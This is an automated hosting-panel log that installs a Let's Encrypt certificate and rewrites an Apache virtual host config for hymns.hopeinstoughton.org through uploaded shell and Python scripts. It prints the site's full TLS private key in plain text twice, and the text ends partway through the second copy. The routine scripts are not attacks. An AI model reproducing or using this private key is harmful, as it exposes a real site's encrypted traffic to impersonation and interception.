2025-10-30 06:00:03: Establishing a connection
2025-10-30 06:00:04: Establishing a connection
2025-10-30 06:00:06:
PUT: /tmp/pkp613867
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-30 06:00:06:
chmod 755 /tmp/pkp613867; /tmp/pkp613867; rm /tmp/pkp613867
2025-10-30 06:00:07:
0
2025-10-31 06:00:02: Establishing a connection
2025-10-31 06:00:04: Establishing a connection
2025-10-31 06:00:05:
PUT: /tmp/pkp475345
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-31 06:00:06:
chmod 755 /tmp/pkp475345; /tmp/pkp475345; rm /tmp/pkp475345
2025-10-31 06:00:06:
0
2025-10-31 06:00:06: Establishing a remote connection
2025-11-01 06:00:03: Establishing a connection
2025-11-01 06:00:04: Establishing a connection
2025-11-01 06:00:05:
PUT: /tmp/pkp906475
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-01 06:00:06:
chmod 755 /tmp/pkp906475; /tmp/pkp906475; rm /tmp/pkp906475
2025-11-01 06:00:06:
0
2025-11-01 06:00:07: Establishing a remote connection
2025-11-02 06:00:03: Establishing a connection
2025-11-02 06:00:04: Establishing a connection
2025-11-02 06:00:05:
PUT: /tmp/pkp712434
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-02 06:00:06:
chmod 755 /tmp/pkp712434; /tmp/pkp712434; rm /tmp/pkp712434
2025-11-02 06:00:06:
0
2025-11-02 06:00:06: Establishing a remote connection
2025-11-03 06:00:03: Establishing a connection
2025-11-03 06:00:04: Establishing a connection
2025-11-03 06:00:05:
PUT: /tmp/pkp713175
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:00:06:
chmod 755 /tmp/pkp713175; /tmp/pkp713175; rm /tmp/pkp713175
2025-11-03 06:00:06:
0
2025-11-03 06:00:33: Establishing a connection
2025-11-03 06:00:34:
PUT: /tmp/pkp162044
#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4
cat > $temp_file <<'endmsg'
69:47:48:65:94:36:9b:5a:36:f2:ea:91:d8:36:c9:9a
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBrVNrZU/kxnm0mnDfOsbB7GKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjAyWhcNMjYwMjAxMDUwMjAxWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAw0IjFZufblJPAgDOnQ23li8zXC0E8yZCPGvLnNvlFgdQazby
3HdvZQUZ1Hib5a/paJhTzEJ2o3YCkcE9TghZ6Oy1p/3s9qIyrV161vYL9xjfZonH
IOpTpdh0RfrzwLAee9w8yb6Tl7NuXYSfoSKYlN/kLSqIv0ZowgaWmQdAbMhXsC40
sQ00/kH2EJ1tYr8WpqH4S+Xp2hp4+ha4y6mYs/JfxsZSyTFyNBbS3Uz97/ArD27l
VCcUf3kJ+zIh/0CTHNY3mypyPoSR25/ic0IMk/DakrgdYCkmuw4j9K8lX0yZeDRz
tEa6x5w7E1aKBNU9y8dBdX1h+KkEL/d2OvYX1wIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQcAnxGz0TyLMy6MpZKCgo7qMcGbTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY
5wAAAZpITYtJAAAEAwBHMEUCIEoY+WIT5+z11s8FpWzLv3lw4UhFgEhd4ORcDQWy
ufPKAiEA89h4McCrDb2ov1+qywUpTe7Lbs6kO7S78ewFLNsN9poAdwCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpITYtyAAAEAwBIMEYCIQDmhSGP
0t/1nXIh42niEn6AKtTn8VaBvK9UwoQsHTzTzQIhAIseT6LFdsBWZUOzrYssKCmJ
pVutga5lOzpf/U5WrHIYMA0GCSqGSIb3DQEBCwUAA4IBAQADMP5gd+YDPzzyd9Dd
1QwbyztURrmcy1aYvh001Lij06up7I04xXvMq9Ya3tzPbzZS4RXX8eL4bqeujR1e
5X5lrwEYj9Kthq7rjAn81KBUeBHCA2zVk8R2MoMSFxVVcYtYowm4vfsD4/OrdfHQ
lZfqYRxxqKOn86JYSE6hBtkhj6D5IxmboT9vIktAVPQuPjS/0McqK3cBPqRyjeb2
p4iLDtLDXo4KduhryN2XevogHqKSHjw0DiQJxnc0t+GKnnpszglw7bNqo8HQr6Ft
aaM6MQZlAfUSEWEZv+CFskKZFbNRvWW4U/x5Z/TruLWgxRGtqleacKVID31k9BxL
yvgB
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDDQiMVm59uUk8C
AM6dDbeWLzNcLQTzJkI8a8uc2+UWB1BrNvLcd29lBRnUeJvlr+lomFPMQnajdgKR
wT1OCFno7LWn/ez2ojKtXXrW9gv3GN9miccg6lOl2HRF+vPAsB573DzJvpOXs25d
hJ+hIpiU3+QtKoi/RmjCBpaZB0BsyFewLjSxDTT+QfYQnW1ivxamofhL5enaGnj6
FrjLqZiz8l/GxlLJMXI0FtLdTP3v8CsPbuVUJxR/eQn7MiH/QJMc1jebKnI+hJHb
n+JzQgyT8NqSuB1gKSa7DiP0ryVfTJl4NHO0RrrHnDsTVooE1T3Lx0F1fWH4qQQv
93Y69hfXAgMBAAECggEBAK20pb+wXcpogQ84JpdDv8JlJVzoVBH4RE66Wz6lxYyu
XxWyoaYOvtPxEMSbs51HvO8nLM13h1HuR2Ths6c6+Lml9AmKdggHzeu7UO/xnj1q
LDxtb/BRZq8Q/IfRNI6EX+oyyQV1fJolr5aUyOox++ndsIGZ6GO5wLJz6AAlmmPq
3Uv8vRRsU0GSiEi3wUHXcv9CjLgUvPMpYbNOrXo9ipeCc9Xx8yN7RTit/5jI/5xo
SrMkdSvOqg4gqJBBVPqhnVbrvRhVMjctNnMJX1ihHfZoF1dJOpsFjl1cQSzI1b9r
U48FxnAQWCWeblQUmv1bU0Z7kNYS3y2WIBmQEtwWbxkCgYEA5weB3va3LYZIoojR
n/UgGClk6ezEF0X7nNzgxw9PU7WzbTly+9sYiTBJ0MqiHH4pjnoB5q8HXAjG+4r6
+67/xLVCg+dFjSgPEmj1SoB3KPf9fAzSoD93Y4cBp6ut0f+DHguNNavqJMQ4SAw3
Bhsa3uigzp/p+7p2o43gj0+ajeUCgYEA2FzcS78rKaSjfXdmheqHbLkPvhvAoGDe
eRIqgu2ya8k/ggsevbxTPnhKCnXc8qRCBmJCKRlZve5h+RPENZAmkQ/fqebqIXk4
eJM78BzEXtcyO/ThrrDJ0Xy0tt9HGlF7Nxnn+qNdOwNQMNKNO9C5oDX9HtWcuFY1
g5BT458CEwsCgYEA2AFJ6Qitre/em7DmpfMPJegWBS0tDkGNhlVyCEwFNFQvxZCw
NFDeeO5gJco/lfpTqnXirye47tD6EpgYIBe35dg/r4odmmP465KcvSKtxu1O4Jww
lkmgu7qvznAS3cRTeFT+m074ZZXctWhOTfQrxHymVWpo38awRC1T50pbTA0CgYB0
JV1I+EWGZFAzcR5DM0QhlDKkPieosHedDKhvgoQuImmKOMf22JrjRRWSCfVi99RN
sv+LKoWnVMmZOQgyLMDXTGsnvMLg1z7+UyNw4TB1LRZVYz6nVVXxs/0a0j9MHIOF
b829GWdZ34xzuQOCIakUHQdVPxyTRAwUJS0zWs91QwKBgHZ6iAfzXc+Inz5Z4/JR
YdVMp52helXJoCxvVBDp4J5DuoMXQzeEA2AV7o49NDiSiyE/xdxTFRXQKg18xvvQ
9gBQ2myqOywFyJlcclKOTmOaQMAoBYvwzw54wHqKvmx3y4btIM06AqG9RT8hi0BU
u6V8yMvKzkrEN65mlZJiTrMU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:00:35:
chmod 755 /tmp/pkp162044; /tmp/pkp162044; rm /tmp/pkp162044
2025-11-03 06:00:35:
dir=/etc/ssl/certs
2025-11-03 06:00:35:
PUT: /tmp/pkp478062
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:00:35:
chmod 755 /tmp/pkp478062; /tmp/pkp478062; rm /tmp/pkp478062
2025-11-03 06:00:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2025-11-03 06:00:36:
PUT: /tmp/pkp147235
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi
2025-11-03 06:00:36:
chmod 755 /tmp/pkp147235; /tmp/pkp147235; rm /tmp/pkp147235
2025-11-03 06:00:36:
2025-11-03 06:00:36:
PUT: /tmp/pkp572827
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:00:37:
chmod 755 /tmp/pkp572827; /tmp/pkp572827; rm /tmp/pkp572827
2025-11-03 06:00:37:
.
2025-11-03 06:00:37: Establishing a connection
2025-11-03 06:00:38:
PUT: /tmp/pkp518124
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:00:39:
chmod 755 /tmp/pkp518124; /tmp/pkp518124; rm /tmp/pkp518124
2025-11-03 06:00:39:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-03 06:00:39:
PUT: /tmp/pkp549804
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:00:40:
chmod 755 /tmp/pkp549804; /tmp/pkp549804; rm /tmp/pkp549804
2025-11-03 06:00:40:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2025-11-03 06:00:40:
PUT: /tmp/pkp870582
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:00:40:
chmod 755 /tmp/pkp870582; /tmp/pkp870582; rm /tmp/pkp870582
2025-11-03 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5374
69:47:48:65:94:36:9b:5a:36:f2:ea:91:d8:36:c9:9a
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBrVNrZU/kxnm0mnDfOsbB7GKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjAyWhcNMjYwMjAxMDUwMjAxWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAw0IjFZufblJPAgDOnQ23li8zXC0E8yZCPGvLnNvlFgdQazby
3HdvZQUZ1Hib5a/paJhTzEJ2o3YCkcE9TghZ6Oy1p/3s9qIyrV161vYL9xjfZonH
IOpTpdh0RfrzwLAee9w8yb6Tl7NuXYSfoSKYlN/kLSqIv0ZowgaWmQdAbMhXsC40
sQ00/kH2EJ1tYr8WpqH4S+Xp2hp4+ha4y6mYs/JfxsZSyTFyNBbS3Uz97/ArD27l
VCcUf3kJ+zIh/0CTHNY3mypyPoSR25/ic0IMk/DakrgdYCkmuw4j9K8lX0yZeDRz
tEa6x5w7E1aKBNU9y8dBdX1h+KkEL/d2OvYX1wIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQcAnxGz0TyLMy6MpZKCgo7qMcGbTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY
5wAAAZpITYtJAAAEAwBHMEUCIEoY+WIT5+z11s8FpWzLv3lw4UhFgEhd4ORcDQWy
ufPKAiEA89h4McCrDb2ov1+qywUpTe7Lbs6kO7S78ewFLNsN9poAdwCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpITYtyAAAEAwBIMEYCIQDmhSGP
0t/1nXIh42niEn6AKtTn8VaBvK9UwoQsHTzTzQIhAIseT6LFdsBWZUOzrYssKCmJ
pVutga5lOzpf/U5WrHIYMA0GCSqGSIb3DQEBCwUAA4IBAQADMP5gd+YDPzzyd9Dd
1QwbyztURrmcy1aYvh001Lij06up7I04xXvMq9Ya3tzPbzZS4RXX8eL4bqeujR1e
5X5lrwEYj9Kthq7rjAn81KBUeBHCA2zVk8R2MoMSFxVVcYtYowm4vfsD4/OrdfHQ
lZfqYRxxqKOn86JYSE6hBtkhj6D5IxmboT9vIktAVPQuPjS/0McqK3cBPqRyjeb2
p4iLDtLDXo4KduhryN2XevogHqKSHjw0DiQJxnc0t+GKnnpszglw7bNqo8HQr6Ft
aaM6MQZlAfUSEWEZv+CFskKZFbNRvWW4U/x5Z/TruLWgxRGtqleacKVID31k9BxL
yvgB
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDDQiMVm59uUk8C
AM6dDbeWLzNcLQTzJkI8a8uc2+UWB1BrNvLcd29lBRnUeJvlr+lomFPMQnajdgKR
wT1OCFno7LWn/ez2ojKtXXrW9gv3GN9miccg6lOl2HRF+vPAsB573DzJvpOXs25d
hJ+hIpiU3+QtKoi/RmjCBpaZB0BsyFewLjSxDTT+QfYQnW1ivxamofhL5enaGnj6
FrjLqZiz8l/GxlLJMXI0FtLdTP3v8CsPbuVUJxR/eQn7MiH/QJMc1jebKnI+hJHb
n+JzQgyT8NqSuB1gKSa7DiP0ryVfTJl4NHO0RrrHnDsTVooE1T3Lx0F1fWH4qQQv
93Y69hfXAgMBAAECggEBAK20pb+wXcpogQ84JpdDv8JlJVzoVBH4RE66Wz6lxYyu
XxWyoaYOvtPxEMSbs51HvO8nLM13h1HuR2Ths6c6+Lml9AmKdggHzeu7UO/xnj1q
LDxtb/BRZq8Q/IfRNI6EX+oyyQV1fJolr5aUyOox++ndsIGZ6GO5wLJz6AAlmmPq
3Uv8vRRsU0GSiEi3wUHXcv9CjLgUvPMpYbNOrXo9ipeCc9Xx8yN7RTit/5jI/5xo
SrMkdSvOqg4gqJBBVPqhnVbrvRhVMjctNnMJX1ihHfZoF1dJOpsFjl1cQSzI1b9r
U48FxnAQWCWeblQUmv1bU0Z7kNYS3y2WIBmQEtwWbxkCgYEA5weB3va3LYZIoojR
n/UgGClk6ezEF0X7nNzgxw9PU7WzbTly+9sYiTBJ0MqiHH4pjnoB5q8HXAjG+4r6
